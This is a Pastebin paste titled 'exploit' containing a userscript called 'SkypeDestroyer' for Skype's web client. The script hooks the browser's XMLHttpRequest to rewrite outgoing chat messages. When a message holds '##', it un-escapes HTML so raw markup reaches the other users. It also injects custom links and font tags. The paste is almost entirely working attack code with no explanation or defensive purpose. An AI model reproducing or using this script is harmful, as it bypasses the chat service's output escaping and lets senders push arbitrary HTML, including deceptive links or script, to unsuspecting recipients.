Advertisement
SDN

exploit

SDN
Dec 23rd, 2015
589
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.15 KB | None | 0 0
  1. // ==UserScript==
  2. // @name SkypeDestroyer
  3. // @namespace http://mzinck.com - https://github.com/MitchZinck
  4. // @version 0.1
  5. // @description Skype Script
  6. // @author Mitchell Zinck <mitchellzinck@yahoo.com
  7. // @include https://web.skype.com/en/
  8. // @grant none
  9. // ==/UserScript==
  10.  
  11.  
  12. (function(XHR) {
  13. "use strict";
  14.  
  15. var stats = [];
  16. var timeoutId = null;
  17.  
  18. var open = XHR.prototype.open;
  19. var send = XHR.prototype.send;
  20.  
  21. XHR.prototype.open = function(method, url, async, user, pass) {
  22. this._url = url;
  23. open.call(this, method, url, async, user, pass);
  24. };
  25.  
  26. XHR.prototype.send = function(data) {
  27. var k;
  28. if(isMsg(data) && data != null) {
  29. k = JSON.parse(data);
  30. var size = null;
  31. if(k.content.indexOf("##") > -1) {
  32. k.content = k.content.replace('##','');
  33. k.content = unescapeHTML(k.content);
  34. k = JSON.stringify(k);
  35. data = k;
  36. } else {
  37. if(k.content.indexOf("!") > -1) {
  38. size = k.content.match(/\!(.*?)\!/)[1];
  39. }
  40. if(k.content.substring(0, 1) === "#") {
  41. k = replaceURL(k);
  42. if(k !== null) {
  43. k = JSON.stringify(k);
  44. data = k;
  45. }
  46. if(size !== null) {
  47. k = changeFontSize(JSON.parse(data), size);
  48. if(k !== null) {
  49. k = JSON.stringify(k);
  50. data = k;
  51. }
  52. }
  53. }
  54. }
  55.  
  56. console.log(data);
  57. }
  58.  
  59. var self = this;
  60. var start;
  61. var oldOnReadyStateChange;
  62. var url = this._url;
  63.  
  64. function onReadyStateChange() {
  65. if(self.readyState == 4 /* complete */) {
  66. var time = new Date() - start;
  67. stats.push({
  68. url: url,
  69. duration: time
  70. });
  71.  
  72. if(!timeoutId) {
  73. timeoutId = window.setTimeout(function() {
  74. var xhr = new XHR();
  75. xhr.noIntercept = true;
  76. xhr.open("POST", "/clientAjaxStats", true);
  77. xhr.setRequestHeader("Content-type","application/json");
  78. xhr.send(JSON.stringify({ stats: stats } ));
  79.  
  80. timeoutId = null;
  81. stats = [];
  82. }, 2000);
  83. }
  84. }
  85.  
  86. if(oldOnReadyStateChange) {
  87. oldOnReadyStateChange();
  88. }
  89. }
  90.  
  91. if(!this.noIntercept) {
  92. start = new Date();
  93.  
  94. if(this.addEventListener) {
  95. this.addEventListener("readystatechange", onReadyStateChange, false);
  96. } else {
  97. oldOnReadyStateChange = this.onreadystatechange;
  98. this.onreadystatechange = onReadyStateChange;
  99. }
  100. }
  101.  
  102. send.call(this, data);
  103. }
  104. })(XMLHttpRequest);
  105.  
  106. function isMsg(value) {
  107. try {
  108. JSON.stringify(value);
  109. if(JSON.stringify(value).indexOf("content") > -1) {
  110. return true;
  111. } else {
  112. return false;
  113. }
  114. } catch (ex) {
  115. return false;
  116. }
  117. }
  118.  
  119. function replaceURL(data) {
  120. try {
  121. if(data.content.indexOf('<a href="') > -1) {
  122. var remove = data.content.match(/\<(.*?)\>/)[1];
  123. data.content = data.content.replace(remove, '');
  124. data.content = data.content.replace('<', '');
  125. data.content = data.content.replace('>', '');
  126. data.content = data.content.replace('</a>', '');
  127. console.log(data.content);
  128. }
  129. if(data.content.match(/\[(.*?)\]/)[1].indexOf("http://") == -1 && data.content.match(/\[(.*?)\]/)[1].indexOf("https://") == -1) {
  130. data.content = "<a href='http://" + data.content.match(/\[(.*?)\]/)[1] + "'>" + data.content.match(/\(([^)]+)\)/)[1] + "</a>";
  131. } else {
  132. data.content = "<a href='" + data.content.match(/\[(.*?)\]/)[1] + "'>" + data.content.match(/\(([^)]+)\)/)[1] + "</a>";
  133. }
  134. return data;
  135. } catch(ex) {
  136. return null;
  137. }
  138. }
  139.  
  140. function unescapeHTML(escapedHTML) {
  141. return escapedHTML.replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&').replace(/&quot;/g, '"').replace(/&apos;/g, "'");
  142. }
  143.  
  144. function changeFontSize(data, size) {
  145. try {
  146. if(data.content.indexOf("#") > -1) {
  147. data.content = data.content.replace('#','');
  148. data.content = data.content.replace(data.content.match(/\!(.*?)\!/)[1], '');
  149. data.content = data.content.replace(/!/g, '');
  150. }
  151.  
  152. data.content = "<font size='" + size + "'>" + data.content + "</font>";
  153. return data;
  154. } catch(ex) {
  155. return null;
  156. }
  157. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement